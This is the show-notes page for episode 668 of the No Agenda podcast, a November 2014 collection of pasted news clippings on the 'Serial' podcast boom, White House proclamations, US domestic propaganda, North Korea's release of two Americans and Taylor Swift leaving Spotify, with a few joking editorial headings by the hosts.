668: Exploding Generator

Adam Curry & John C. Dvorak

2h 51m
November 9th, 2014
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Executive Producers: Peter Puky Sir Captain Pete of the Seven Equatorial Oceans, Gary in Joseph Oregon

Associate Executive Producers: Sir Zog of Elwood, Nathaniel Howard

Cover Artist: Nick the Rat

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Sun, 09 Nov 2014 14:49
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'Serial' Is The Hottest Show Of The Fall '-- Do Marketers Need a Podcast Strategy? - CMO Today - WSJ
Sun, 09 Nov 2014 01:23
November 5, 2014, 4:49 PM ETBy Steven Perlberg
On Feb. 9, 1999, the body of Hae Min Lee '-- a high school student in Baltimore County who had disappeared about a month earlier '-- was found in a shallow grave in a nearby park.
Almost 15 years later, one million people have taken up the cause of figuring out ''whodunnit.''
That is thanks to ''Serial,'' a popular new podcast hosted by ''This American Life'' producer Sarah Koenig. The show centers around the state's arguably dubious case against Ms. Lee's ex-boyfriend Adnan Syed, the man arrested, tried and convicted for her murder. Ms. Koenig's story, reported in weekly episodes, has reached the top of the podcast charts.
When the iPod burst onto the scene in the early 2000s, podcasts '-- radio shows you can download on your devices '-- were heralded as a big future ad medium. But with the rise of newer channels like web video, there's little question that podcasts have slipped marketers' minds. ZenithOptimedia, for example, put out a forecast predicting 0% growth for the medium after years of positive momentum.
But Podtrac, a podcast advertising company, says ''Serial'' has an audience of one million unique listens per episode (there have been six), with about 60% of listening coming from mobile devices. And ''Serial'' isn't alone in what New York Magazine has dubbed the ''great podcast renaissance.'' According to Edison Research, 15% of Americans have listened to a podcast in the past month, up from 9% in 2008.
Marketers certainly don't look to podcasts for the kind of big reach that say, TV, can offer. But analysts say listeners are attentive while they're listening to their favorite podcast shows. There is just something about hearing a brand name through a dulcet, NPR-like voice.
''It's an incredibly intimate medium,'' said Emily Condon, production manager of ''Serial.'' ''You have someone literally in your head talking to you, if you're listening through headphones anyway, which a lot of people are.''
''With podcasts, what you may not be getting in raw numbers '-- scale '-- you're going to make up for at least partially in how engaged the audience is,'' said eMarketer analyst Paul Verna. ''It's not like banner ads where you're just putting them out there and hoping that 0.03% of your audience is going to click on it.''
Mr. Verna says he doesn't think a few success stories like ''Serial'' will push marketers into podcasts in a big way, but that advertisers ignoring them might find it valuable to take a look at the most popular shows.
The most popular shows aren't exactly cheap. MailChimp, the email marketing company that sponsors ''Serial,'' says it pays between $25 to $40 CPM (the cost of reaching a thousand listeners). On average, pre-roll ads on YouTube cost an average $17 CPM, according to data firm SQAD.
Yale Cohen, senior vice president of activation standards at ZenithOptimedia, said that the podcast medium looks different from the early 2000s. When they were first introduced, podcasts provided people with a way to listen to their favorite shows when they were offline. Now, thanks to smartphones and ubiquitous WiFi, Americans are much more connected to the Internet. That effectively makes podcasts less like downloadable music and more like Internet radio '-- an increasingly attractive platform for advertisers.
Indeed, 46% of ''Serial's'' website views come from mobile devices, while 45% come from desktop and 9% from tablets, according to Ms. Condon. A full 71% of iTunes downloads were to mobile devices, compared to 20% desktop and 9% tablet.
''I think you're now able to grow what used to be a type of content that was only available through download, and now you're able to stream it at anytime without having to download it to a device,'' Mr. Cohen said. ''The definition of the word podcast has sort of changed.''
As a result, Mr. Cohen said his company's 0% growth prediction was more for the ''old'' world of podcasts, but as they become more akin to Internet radio, that forecast could change.
''The concern several years ago was that people were downloading and not listening,'' said Mark McCrery, CEO of Podtrac. ''That question goes away to the extent that the content is consumed on connected mobile devices.''
Of course, not every podcast will be a hit, though MailChimp marketing director Mark DiCristina says he had a feeling it would be a smart buy, largely because of the show's partnership with the successful ''This American Life'' program, with which MailChimp has also advertised.
''The appeal to me is the stickiness,'' said Mr. DiCristina. ''The credibility of the host and the show rubs off on the brand a bit.''
David Raphael, the president of Public Media Marketing, which sells advertising for a variety of top podcasts including ''Serial,'' says that podcast advertisers used to be mostly interested in ''acquisition marketing'' '-- grabbing sign-ups or monthly subscribers. Now, he says, there are more advertisers interested in using podcasts to ''brand build'' and have their company associated with high-minded content.
While the major shows might be the ones attracting significant brand dollars, podcasts can also thrive without advertising, according to Adam Curry, an early podcaster and host of the ''No Agenda'' show. Mr. Curry, known by some as the ''podfather'' thanks to his role in the movement's early days, does not use advertisers on his show.
''You don't need a million people listening to create something and it be sustainable and grow over time,'' Mr. Curry said. ''I personally like that because I don't have to have any meetings and show anybody how many downloads I've had.''
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Letter - Continuation of the National Emergency With Respect to the Proliferation of Weapons of Mass Destruction (WMD) | The White House
Sun, 09 Nov 2014 02:35
The White House
Office of the Press Secretary
For Immediate Release
November 07, 2014
TEXT OF A LETTER FROM THE PRESIDENTTO THE SPEAKER OF THE HOUSE OF REPRESENTATIVESAND THE PRESIDENT OF THE SENATE
November 7, 2014
Dear Mr. Speaker: (Dear Mr. President:)
Section 202(d) of the National Emergencies Act (50 U.S.C. 1622(d)), provides for the automatic termination of a national emergency unless, within 90 days prior to the anniversary date of its declaration, the President publishes in the Federal Register and transmits to the Congress a notice stating that the emergency is to continue in effect beyond the anniversary date. In accordance with this provision, I have sent to the Federal Register for publication the enclosed notice, stating that the national emergency with respect to the proliferation of weapons of mass destruction that was declared in Executive Order 12938 is to continue in effect beyond November 14, 2014.
Sincerely,
BARACK OBAMA
Presidential Proclamation -- Veterans Day, 2014
Sun, 09 Nov 2014 02:34
The White House
Office of the Press Secretary
For Immediate Release
November 07, 2014
VETERANS DAY, 2014 - - - - - - - BY THE PRESIDENT OF THE UNITED STATES OF AMERICA A PROCLAMATION
Since the birth of our Nation, American patriots have stepped forward to serve our country and defend our way of life. With honor and distinction, generations of servicemen and women have taken up arms to win our independence, preserve our Union, and secure our freedom. From the Minutemen to our Post-9/11 Generation, these heroes have put their lives on the line so that we might live in a world that is safer, freer, and more just, and we owe them a profound debt of gratitude. On Veterans Day, we salute the Soldiers, Sailors, Airmen, Marines, and Coast Guardsmen who have rendered the highest service any American can offer, and we rededicate ourselves to fulfilling our commitment to all those who serve in our name.
Today, we are reminded of our solemn obligation: to serve our veterans as well as they have served us. As we continue our responsible drawdown from the war in Afghanistan and more members of our military return to civilian life, we must support their transition and make sure they have access to the resources and benefits they have earned. My Administration is working to end the tragedy of homelessness among our veterans, and we are committed to providing them with quality health care, access to education, and the tools they need to find a rewarding career. As a Nation, we must ensure that every veteran has the chance to share in the opportunity he or she has helped to defend. Those who have served in our Armed Forces have the experience, skills, and dedication necessary to achieve success as members of our civilian workforce, and it is critical that we harness their talent. Across our country, veterans who fought to protect our democracy around the globe are strengthening it here at home. Once leaders in the Armed Forces, they are now pioneers of industry and pillars of their communities. Their character reflects our enduring American spirit, and in their example, we find inspiration and strength. This day, and every day, we pay tribute to America's sons and daughters who have answered our country's call. We recognize the sacrifice of those who have been part of the finest fighting force the world has ever known and the loved ones who stand beside them. We will never forget the heroes who made the ultimate sacrifice and all those who have not yet returned home. As a grateful Nation, let us show our appreciation by honoring all our veterans and working to ensure the promise of America is within the reach of all who have protected it. With respect for and in recognition of the contributions our service members have made to the cause of peace and freedom around the world, the Congress has provided (5 U.S.C. 6103(a)) that November 11 of each year shall be set aside as a legal public holiday to honor our Nation's veterans. NOW, THEREFORE, I, BARACK OBAMA, President of the United States of America, do hereby proclaim November 11, 2014, as Veterans Day. I encourage all Americans to recognize the valor and sacrifice of our veterans through appropriate public ceremonies and private prayers. I call upon Federal, State, and local officials to display the flag of the United States and to participate in patriotic activities in their communities. I call on all Americans, including civic and fraternal organizations, places of worship, schools, and communities to support this day with commemorative expressions and programs.
IN WITNESS WHEREOF, I have hereunto set my hand this seventh day of November, in the year of our Lord two thousand fourteen, and of the Independence of the United States of America the two hundred and thirty-ninth.
BARACK OBAMA
Presidential Proclamation -- World Freedom Day, 2014
Sun, 09 Nov 2014 02:38
The White House
Office of the Press Secretary
For Immediate Release
November 07, 2014
WORLD FREEDOM DAY, 2014
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BY THE PRESIDENT OF THE UNITED STATES OF AMERICA
A PROCLAMATION
For nearly three decades, the Berlin Wall divided a nation and stood as one symbol of a system that denied individuals the freedoms that are the right of every person. It separated families and suppressed free will and self-determination -- but while it tried to contain the yearnings of a courageous and unwavering people for liberty and justice, it could not crush them. Twenty-five years ago today, Germans from East and West came together to tear down the Wall and begin the work of building an open and prosperous society. On World Freedom Day, we honor a generation that refused to be defined by a wall, and we reaffirm our commitment to stand with all those who seek to join the free world.
The images of this extraordinary event are seared in our memory and enshrined in our history: brave crowds climbing atop an old barrier and Berliners reuniting in city streets. But the victory of 1989 was not inevitable. We will not forget those who risked bullets, dug through tunnels, leapt from buildings, and crossed barbed wire, minefields, and a mighty river in pursuit of freedom. In their struggle -- and in the memory of all those who did not live to see Berlin united and free -- Americans see our own past, as well as the spirit of citizens around the world who long for opportunity and are willing to do the hard work of building a democracy.
America stood with those on both sides of the Iron Curtain who held fast to the belief that a better future was possible, and as the Berlin Wall fell, it spurred a more integrated, more prosperous, and more secure Europe. Today, Germany is one of our strongest allies. And as we pay tribute to our shared past, we are reminded that upholding peace and security is the responsibility of every nation. There is no progress without sacrifice and no freedom without solidarity, and we cannot shrink from our role of advancing the values in which we believe.
The story of Berlin shows us that with grit and determination, we have the power to shape our own destiny, even in the face of impossible odds. As we celebrate a triumph over tyranny, we also recognize that the challenges to peace and human dignity continue in our complex world and that complacency is not the character of great nations. Let us resolve to extend a hand to those who reach for freedom still and continue the pursuit of peace in our time.
NOW, THEREFORE, I, BARACK OBAMA, President of the United States of America, by virtue of the authority vested in me by the Constitution and the laws of the United States, do hereby proclaim November 9, 2014, as World Freedom Day. I call upon the people of the United States to observe this day with appropriate ceremonies and activities, reaffirming our dedication to freedom and democracy.
IN WITNESS WHEREOF, I have hereunto set my hand this seventh day of November, in the year of our Lord two thousand fourteen, and of the Independence of the United States of America the two hundred and thirty-ninth.
BARACK OBAMA
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Smith Mundt Act - A reminder that you are living in a Smith-Mudt Act repealed media landscape
NDAA and Overturning of Smith-Mundt Act
The National Defense Authorization Act for Fiscal Year 2013 (NDAA) allows for materials produced by the State Department and the Broadcasting Board of Governors (BBG) to be released within U.S. borders and strikes down a long-time ban on the dissemination of such material in the country.[14][15][16]
Propaganda in the United States - Wikipedia, the free encyclopedia
Sun, 21 Sep 2014 15:00
Propaganda in the United States is propaganda spread by government and media entities within the United States. Propaganda is information, ideas, or rumors deliberately spread widely to influence opinions. Propaganda is not only in advertising; it is also in radio, newspaper, posters, books, and anything else that might be sent out to the widespread public.
Domestic[edit]World War I[edit]The first large-scale use of propaganda by the U.S. government came during World War I. The government enlisted the help of citizens and children to help promote war bonds and stamps to help stimulate the economy. To keep the prices of war supplies down, the U.S. government produced posters that encouraged people to reduce waste and grow their own vegetables in "victory gardens." The public skepticism that was generated by the heavy-handed tactics of the Committee on Public Information would lead the postwar government to officially abandon the use of propaganda.[1]
World War II[edit]During World War II the U.S. officially had no propaganda, but the Roosevelt government used means to circumvent this official line. One such propaganda tool was the publicly owned but government funded Writers' War Board (WWB). The activities of the WWB were so extensive that it has been called the "greatest propaganda machine in history".[1]Why We Fight is a famous series of US government propaganda films made to justify US involvement in World War II.
In 1944 (lasting until 1948) prominent US policy makers launched a domestic propaganda campaign aimed at convincing the U.S. public to agree to a harsh peace for the German people, for example by removing the common view of the German people and the Nazi party as separate entities.[2] The core in this campaign was the Writers' War Board which was closely associated with the Roosevelt administration.[2]
Another means was the United States Office of War Information that Roosevelt established in June 1942, whose mandate was to promote understanding of the war policies under the director Elmer Davies. It dealt with posters, press, movies, exhibitions, and produced often slanted material conforming to US wartime purposes. Other large and influential non-governmental organizations during the war and immediate post war period were the Society for the Prevention of World War III and the Council on Books in Wartime.
Cold War[edit]During the Cold War, the U.S. government produced vast amounts of propaganda against communism and the Soviet bloc. Much of this propaganda was directed by the Federal Bureau of Investigation under J. Edgar Hoover, who himself wrote the anti-communist tract Masters of Deceit. The FBI's COINTELPRO arm solicited journalists to produce fake news items discrediting communists and affiliated groups, such as H. Bruce Franklin and the Venceremos Organization.
War on Drugs[edit]The National Youth Anti-Drug Media Campaign, originally established by the National Narcotics Leadership Act of 1988,[3][4] but now conducted by the Office of National Drug Control Policy under the Drug-Free Media Campaign Act of 1998,[5] is a domestic propaganda campaign designed to "influence the attitudes of the public and the news media with respect to drug abuse" and for "reducing and preventing drug abuse among young people in the United States".[6][7] The Media Campaign cooperates with the Partnership for a Drug-Free America and other government and non-government organizations.[8]
Iraq War[edit]In early 2002, the U.S. Department of Defense launched an information operation, colloquially referred to as the Pentagon military analyst program.[9] The goal of the operation is "to spread the administrations's talking points on Iraq by briefing ... retired commanders for network and cable television appearances," where they have been presented as independent analysts.[10] On 22 May 2008, after this program was revealed in the New York Times, the House passed an amendment that would make permanent a domestic propaganda ban that until now has been enacted annually in the military authorization bill.[11]
The Shared values initiative was a public relations campaign that was intended to sell a "new" America to Muslims around the world by showing that American Muslims were living happily and freely, without persecution, in post-9/11 America.[12] Funded by the United States Department of State, the campaign created a public relations front group known as Council of American Muslims for Understanding (CAMU). The campaign was divided in phases; the first of which consisted of five mini-documentaries for television, radio, and print with shared values messages for key Muslim countries.[13]
NDAA and Overturning of Smith-Mundt Act[edit]The National Defense Authorization Act for Fiscal Year 2013 (NDAA) allows for materials produced by the State Department and the Broadcasting Board of Governors (BBG) to be released within U.S. borders and strikes down a long-time ban on the dissemination of such material in the country.[14][15][16]
Ad Council[edit]The Ad Council, an American non-profit organization that distributes public service announcements on behalf of various private and federal government agency sponsors, has been labeled as "little more than a domestic propaganda arm of the federal government" given the Ad Council's historically close collaboration with the President of the United States and the federal government.[17]
International[edit]Through several international broadcasting operations, the US disseminates American cultural information, official positions on international affairs, and daily summaries of international news. These operations fall under the International Broadcasting Bureau, the successor of the United States Information Agency, established in 1953. IBB's operations include Voice of America, Radio Liberty, Alhurra and other programs. They broadcast mainly to countries where the United States finds that information about international events is limited, either due to poor infrastructure or government censorship. The Smith-Mundt Act prohibits the Voice of America from disseminating information to US citizens that was produced specifically for a foreign audience.
During the Cold War the US ran covert propaganda campaigns in countries that appeared likely to become Soviet satellites, such as Italy, Afghanistan, and Chile.
Recently The Pentagon announced the creation of a new unit aimed at spreading propaganda about supposedly "inaccurate" stories being spread about the Iraq War. These "inaccuracies" have been blamed on the enemy trying to decrease support for the war. Donald Rumsfeld has been quoted as saying these stories are something that keeps him up at night.[18]
Psychological operations[edit]The US military defines psychological operations, or PSYOP, as:
planned operations to convey selected information and indicators to foreign audiences to influence the emotions, motives, objective reasoning, and ultimately the behavior of foreign governments, organizations, groups, and individuals.[19]
The Smith-Mundt Act, adopted in 1948, explicitly forbids information and psychological operations aimed at the US public.[20][21][22] Nevertheless, the current easy access to news and information from around the globe, makes it difficult to guarantee PSYOP programs do not reach the US public. Or, in the words of Army Col. James A. Treadwell, who commanded the U.S. military psyops unit in Iraq in 2003, in the Washington Post:
There's always going to be a certain amount of bleed-over with the global information environment.[23]
Agence France Presse reported on U.S. propaganda campaigns that:
The Pentagon acknowledged in a newly declassified document that the US public is increasingly exposed to propaganda disseminated overseas in psychological operations.[24]
Former US Defense Secretary Donald Rumsfeld approved the document referred to, which is titled "Information Operations Roadmap." [22][24] The document acknowledges the Smith-Mundt Act, but fails to offer any way of limiting the effect PSYOP programs have on domestic audiences.[20][21][25]
Several incidents in 2003 were documented by Sam Gardiner, a retired Air Force colonel, which he saw as information-warfare campaigns that were intended for "foreign populations and the American public." Truth from These Podia,[26] as the treatise was called, reported that the way the Iraq war was fought resembled a political campaign, stressing the message instead of the truth.[22]
See also[edit]References[edit]^ abThomas Howell, The Writers' War Board: U.S. Domestic Propaganda in World War II, Historian, Volume 59 Issue 4, Pages 795 - 813^ abSteven Casey, (2005), The Campaign to sell a harsh peace for Germany to the American public, 1944 - 1948, [online]. London: LSE Research Online. [Available online at http://eprints.lse.ac.uk/archive/00000736] Originally published in History, 90 (297). pp. 62-92 (2005) Blackwell Publishing^National Narcotics Leadership Act of 1988 of the Anti''Drug Abuse Act of 1988, Pub.L. 100''690, 102 Stat. 4181, enacted November 18, 1988^Gamboa, Anthony H. (January 4, 2005), B-303495, Office of National Drug Control Policy '-- Video News Release, Government Accountability Office, footnote 6, page 3 ^Drug-Free Media Campaign Act of 1998 (Omnibus Consolidated and Emergency Supplemental Appropriations Act, 1999), Pub.L. 105''277, 112 Stat. 268, enacted October 21, 1998^Gamboa, Anthony H. (January 4, 2005), B-303495, Office of National Drug Control Policy '-- Video News Release, Government Accountability Office, pp. 9''10 ^Drug-Free Media Campaign Act of 1998 of the Omnibus Consolidated and Emergency Supplemental Appropriations Act, 1999, Pub.L. 105''277, 112 Stat. 268, enacted October 21, 1998^Office of National Drug Control Policy Reauthorization Act of 2006, Pub.L. 109''469, 120 Stat. 3501, enacted December 29, 2006, codified at 21 U.S.C. § 1708^Barstow, David (2008-04-20). "Message Machine: Behind Analysts, the Pentagon's Hidden Hand". New York Times. ^Sessions, David (2008-04-20). "Onward T.V. Soldiers: The New York Times exposes a multi-armed Pentagon message machine". Slate. ^Barstow, David (2008-05-24). "2 Inquiries Set on Pentagon Publicity Effort". New York Times. ^Rampton, Sheldon (October 17, 2007). "Shared Values Revisited". Center for Media and Democracy. ^"U.S. Reaches Out to Muslim World with Shared Values Initiative". America.gov. January 16, 2003.
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North Korea
Obama's note:
Dear Kim, I'm in the shitter, please help me tur the news cycle away from my lameness. Make me look good
I will send you some Laker Girls and Minnie Mouse outfits
Your pal, Barry
North Korea frees two Americans as Obama heads to Beijing (+video) - CSMonitor.com
Sat, 08 Nov 2014 23:33
Two Americans were freed from captivity in North Korea and are returning to the United States.
Kenneth Bae and Matthew Todd Miller were flying home Saturday accompanied by the US Director of National Intelligence James Clapper, according to a spokesman for the office.
"We are grateful to Director of National Intelligence Clapper, who engaged on behalf of the United States in discussions with DPRK authorities about the release of two citizens," the U.S. State Department said in a statement.
"We also want to thank our international partners, especially our Protecting Power, the government of Sweden, for their tireless efforts to help secure the freedom of Mr. Bae and Mr. Miller."
Why has North Korea released these Americans now?
The release of Miller and Bae comes almost three weeks after another detained American, Jeffrey Fowles, was suddenly released by North Korea. Fowles had been detained after leaving a Bible at a nightclub during a tour.
After the Fowles release, Peter Hayes of the Nautilus Institute in Berkeley, Calif, speculated that ''North Korea is making a diplomatic push that could lead in a year's time to a meeting between President Obama and Kim Jong Un.'' The Fowles release, according to Hayes, was a small effort to show China and Russia that Kim is trying to engage the Americans. He takes the view that if the White House can carry off a nuclear deal with Iran, then North Korea would follow suit.
The release also comes on the eve of the Asia-Pacific Economic Cooperation summit in Beijing. The freeing of these American could be a good-will gesture that China can use in their trade negotiations. The release will be major news as President Obama begins a swing through Asia, with the first stop in China, which is North Korea's neighbor and benefactor.
North Korea arrested Bae, a father of three grown children, as he led a tour through the city of Rason in November 2012. Bae, a Korean-American missionary, had led more than a dozen tours to North Korea from China. Bae moved to China, from Lynnwood, Wash., in 2005.
He was convicted on charges of "hostile acts" against the government and was serving a 15-year sentence of hard labor.
A spokesman of the North Korean Supreme Court told state news agency KCNA that Mr. Bae "set up plot-breeding bases in different places of China for the purpose of toppling the DPRK government from 2006 to October 2012 out of distrust and enmity toward the DPRK."
As The Christian Science Monitor reported in May 2013, the KCNA reported:
[Bae] committed such hostile acts as egging citizens of the DPRK overseas and foreigners on to perpetrate hostile acts to bring down its government while conducting a malignant smear campaign against it. He was caught red handed and prosecuted while entering Rason City of the DPRK, bringing with him anti-DPRK literature on Nov. 3 last year.
Pae visited different churches of the U.S. and south Korea to preach the necessity and urgency to bring down the DPRK government. He was dispatched to China as a missionary of theYouth With A Mission in April, 2006. After setting up plot-breeding bases disguised with diverse signboards in different parts of China for the past six years, avoiding the eyes of its security organs, he brought together more than 1,500 citizens of the DPRK, China and foreigners before whom he gave anti-DPRK lectures.
A recent United Nations report on the North Korean government's human rights record lists a broad range of violations but underscores the regime's hostility to religion and to Christianity in particular. The report notes that Christianity is considered ''a tool of Western and capitalist invasion.'' Other North Korea analysts say religion is seen to be a threat to the personality cult of the Kim regime, reported The Monitor.
Bae's sister, Terri Chung, has been conducting a campaign on Facebook and Twitter to get her brother home. News of his released was greeted with rejoicing.
Matthew Miller, who entered North Korea in April 2014, on a tour organized by a New Jersey travel agency, and reportedly proceeded to destroy his tourist visa and demand asylum. North Korea state media described Miller's act as "a gross violation of its legal order" after entering the country on a tourist visa. Miller was sentenced to six years hard labor in September.
The US State Department has periodically warned Americans against visiting North Korea, noting the absence of civil protections in the totalitarian state and the fact that the United States has no diplomatic relations with Pyongyang.
The Music Scam
Taylor Swift Explains Why She Removed Her Music From Spotify
Sun, 09 Nov 2014 02:27
When it comes to royalties being paid out to musicians from online streaming services such as Spotify, there are many who have criticized these services as they feel that it is unfair that artists only get paid a fraction of what they are pulling in revenue. Well if you were wondering why Taylor Swift pulled her album from Spotify, it seems that unfair royalties is a key reason.
Speaking in an interview with Yahoo Music, Swift explains her decision to not only not offer her current album on Spotify, but to remove the back catalog of albums as well. In the interview, Swift refers to Spotify as a grand experiment of sorts. ''And I'm not willing to contribute my life's work to an experiment that I don't feel fairly compensates the writers, producers, artists, and creators of this music. And I just don't agree with perpetuating the perception that music has no value and should be free.''
She also pointed out that she did Spotify a fair go when she released her single ''Shake It Off'', but ultimately found that it wasn't the direction she wanted to be heading which ultimately helped her arrive at her decision. ''I didn't like the perception that it was putting forth. And so I decided to change the way I was doing things.''
Based on Swift's stance, it seems like there is a good chance she won't be returning to Spotify for a while, although given that recent reports have suggested streaming services have outpaced digital music sales in terms of revenue, perhaps Swift and Spotify could eventually work something out.
Spotify Can't Succeed if It Keeps Screwing Songwriters | WIRED
Sat, 08 Nov 2014 15:11
Taylor Swift is a trendsetter. From her transition from country to pop, to her honest lyrics, she has ushered in a golden age for singer-songwriter appreciation and market power. This week, she made another bold move'--she pulled all of her music from Spotify.
As the president of the trade association representing music publishers and songwriters like Swift, I was struck not only by the bravery of the move, but by the brazen reminder that creators have the right to control their work. Streaming models increasingly stack the deck against songwriters, as the songwriter Aloe Blacc eloquently explained in WIRED yesterday. Like Blacc, I believe Swift's putting her foot down is a watershed moment in the music industry.
David Israelite
David Israelite is the President and CEO of the National Music Publishers' Association (NMPA). Founded in 1917, NMPA is the trade association representing American music publishers and their songwriting partners.
Swift appears to have been trending toward this move for some time. This summer she penned an op-ed about the intrinsic value of music and openly argued against the watering-down of its worth, saying, ''Music is art, and art is important and rare. Important, rare things are valuable. Valuable things should be paid for.''
Her passionate piece was the latest in an uproar within the music industry that is trying to wrap its head around the end of album and single sales. After a year of Beyonce and U2 both looking at new ways of releasing albums and not being able to crack the Platinum-selling ceiling of purchases higher than one million, Taylor Swift is poised to blow way past them and this unprecedented move will likely push that number even higher.
The reason this is important is not because the industry wants Spotify, Pandora or the like to fail'--the reality is quite the opposite. Swift's decision is important because it shows that songwriters have the right to do what they want with their intellectual property. It is the streaming services who must court their creations, not the other way around.
In a world of increasing entitlement on the part of digital companies, her choice was a wakeup call to those who expect an endless online music library at little to no cost, and forget that the ultimate price will be paid in the loss of new talent due to lack of incentive. As Blacc wrote, ''If songwriters cannot afford to make music, who will?''
Streaming is undoubtedly the wave of the future, and when streaming companies value songwriters, the sky's the limit.
Equally critical, it should be a wakeup call to services like Pandora and Spotify who claim to give a large portion of their profits to artists, but in reality have not built business models that properly compensate creators.
These services are banking on the general public becoming so accustomed to their services that creators can't fight back without risking critical exposure, which amounts to a threat of either being blacklisted or accepting an artificially low rate.
Swift is uniquely positioned to avoid this risk'--she is after all arguably the biggest artist in the world'--so her decision, whether it ends up being symbolic or the beginning of a seismic trend, should remind everyone that while streaming is becoming the norm, those songs weren't magically delivered; they belong to someone. Her statement couldn't have come at a more critical time. Industry forecasts show that digital download revenue is expected to drop by 39 percent through 2019 while streaming revenue will increase by 238 percent over the same period.
Spotify's response to Swift's abrupt catalog retraction came with an air of sarcasm and the statistic claiming they pay ''nearly 70 percent'' of their revenue ''back to the music community.'' Unfortunately songwriters only receive around 10 percent of that revenue, and publishers can't even negotiate a fair market royalty rate for their songs. They are set by the government through consent decrees created in the 1940s that tech companies are fighting to uphold.
When it comes to streaming, Spotify isn't the only offender. Consider, for perspective, that Pandora pays approximately 50 percent of its revenue to record labels and performing artists, on average, while paying only around 4 percent of that to songwriters. Desmond Child, who wrote Jon Bon Jovi's massive hit ''Livin on a Prayer,'' was paid only $110.42 for over six million streams on Pandora.
Songwriters have the right to do what they want with their intellectual property. It is the streaming services who must court their creations, not the other way around.
While Taylor Swift is not scratching by, many of her songwriting colleagues are. The songwriting community in Nashville that cultivated her talent and introduced her to the world she would one day dominate is in dire need of people like her who will stand up to the big streaming tech giants and remind them that great songs are priceless, and that's exactly why songwriters should be paid more than pennies for them.
Ultimately, Ms. Swift isn't the first person to pull their repertoire from streaming services. She follows an impressive line of acts including The Black Keys and Thom Yorke. I am hopeful that her notoriety will cause fans, industry executives and streaming services to remember that if you use someone for too long, they're likely to leave.
Streaming is undoubtedly the wave of the future, and when streaming companies value songwriters, the sky's the limit. It's time they start collaborating with the music creators they depend on, otherwise they may never, ever, ever get back together.
Nikki Sixx Speaks To Taylor Swift's Record Company President About Decision To Remove Catalog From Spotify - Blabbermouth.net
Sun, 09 Nov 2014 03:09
November 8, 2014
Last night (Friday, November 7) on "Sixx Sense With Nikki Sixx", national radio host and M–TLEY CR'E bassist Nikki Sixx and co-host Jenn Marino welcomed Scott Borchetta, president and CEO of Big Machine Label Group. Borchetta spoke candidly about the headline-making decision to pull Taylor Swift's music catalogue from streaming service Spotify, the reasoning behind it, and why it's important for the future of the music industry.
Below is a full transcript of the conversation, which aired yesterday, November 7, 2014. Also available is audio of the discussion.
Sixx: "I figured there's nobody better to talk about what's in the news with Taylor Swift, and pulling all of her music off Spotify. Obviously, you being the label, you would be the right person to go to because you were involved in this decision. So, can you explain it to me?"
Borchetta: "Yes, for all of Taylor's records in the streaming era, if you will, we have never put them on any free streaming services for the first 90 to 120 days. And the reason being is we never wanted to embarrass a fan. What I mean by that is, if this fan went and purchased the record, CD, iTunes, wherever, and then their friends go, 'Why did you pay for it? It's free on Spotify.' We're being completely disrespectful to that superfan who wants to invest, who believes in their favorite artist'... M–TLEY CR'E is one of my favorites, they've never let me down. I buy their records, right? So why would I want to go and do that only to know that, well, they ripped me off. I could have gotten it for free."
Sixx: "So is this a 90-day, 120-day thing, or is this permanent?"
Borchetta: "This is what we decided to do. So, what we had done in the past with her records, is after that initial period, we put them up for streaming services. And for this album coming in to everything that's going on in the business and how dramatic the streaming moment is and how it's affecting sales, we determined that her fan base is so in on her, let's pull everything off of Spotify, and any other service that doesn't offer a premium service. Now if you are a premium subscriber to Beats or Rdio or any of the other services that don't offer just a free-only, then you will find her catalogue. So the problem we have with Spotify is, they don't allow you to do anything with your music. They take it, and they say we're going to put it everywhere we want to put it, and we really don't care about what you want to do. Give us everything that you have and we're going to do what we want with it. And that doesn't work for us."
Sixx: "What do you think is the upside of Spotify?"
Borchetta: "Well, they have a very good player. It's a good service. And they're gonna just have to change their ways on how they do business. If you're going to do an ad-supported free service, why would anybody pay for the premium service? The premium service that you pay for, which they do have a premium service, has to mean something. So, what we're saying is it can't be endless free. Give people a 30-day trial, and then make them convert. Music has never been free. It's always cost something and it's time to make a stand and this is the time to do it."
Marino: "Do you think other artists are going to follow suit? Is that kind of what we're hoping for in this whole thing?"
Borchetta: "Yeah. It's already happening. I've had calls from so many other managers and artists. There's a big fist in the air about this. Spotify is a really good service, they just need to be a better partner and there is a lot of support for this."
Sixx: "Artists are looking for exposure. So however that happens, you know, we do interviews, we do videos, we write songs, we tour, we're looking for exposure to satisfy our fans, and to get them to invest in us, because if they invest in us, we can continue to make music. We've talked about this in the past. Artists need to make money to keep making music, so everybody makes money."
Sixx: "Spotify is one of those things that I hear young artists talking about. 'Man, if we could just get our music on there, like we just want the exposure.' And when you're in Taylor's position, or a lot of other artists' position, you're saying 'you know, I like what you do, I just want to be paid for what I do.'"
Borchetta: "Exactly. And I think that's where you can make a delineation between a free service, which works as a promotional service to create value. So, if you're using a service like Spotify for discovery, it's like okay, here's perhaps the new single that you can stream for 30 days, or here is a brand new artist that we're excited about, that we're going to expose, but when you get into'... the big question you're really asking, Nikki, is how do you go from zero to value? And then what happens at value? So that's where you could work with these services. Okay, let's get in there, let's get exposed, let's create value, and once you have value, that means you have a career. And that means you have to sustain that career, because people want to keep hearing your music."
Sixx: "Right. So, as a label, would you look at Taylor. She's all the way up here and you go, look, we have value in her and we want to maximize that value, she wants to maximize that value, and we also want to help change this platform. But as a label, would you look at a brand new artist that you just signed six months ago '-- you just got their album, you guys really believe in it '-- you would have a different outlook for Spotify, you might say, let them stream it? Or would you use the same kind of idea."
Borchetta: "I think you have to look at all promotion opportunities to expose something brand new, so that's where you can have a different conversation. And I think you really hit the nail on the head '-- one size does not fit all. And that's the problem."
Sixx: "That's going to be their problem. They're going to say, 'Well, wait a minute. So we'll help expose your band for you, but in five years, when they're one of the biggest bands in the world, you won't let us have that.' That's going to be their complaint."
Borchetta: "Well, it's no different than a band coming a doing a free radio show, and then coming back around and playing the arena two years later. There has to be a value system in place for us to continue to build careers."
Tags:motley crue, nikki sixx
Posted in:News
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New Spotify report debunks ''per stream'' payments for artists | Ars Technica
Sun, 09 Nov 2014 13:50
If what Spotify pays out to rights holders (~70 percent of what they're due, based on popularity), only some of that may go to the artist themselves.
In a report published Tuesday, Spotify revealed the inner workings of its payout systems for artists with music available on the service. The company debunked the claim that the service pays per stream, revealing that things are slightly more complex.
Rather than a flat rate per play of a song, Spotify considers the success of an artist relative to the entire Spotify ecosystem to determine how much money they get. Royalties for, say, one song are paid out based on the proportion of plays it gets out of all of the plays Spotify doles out in a given time period.
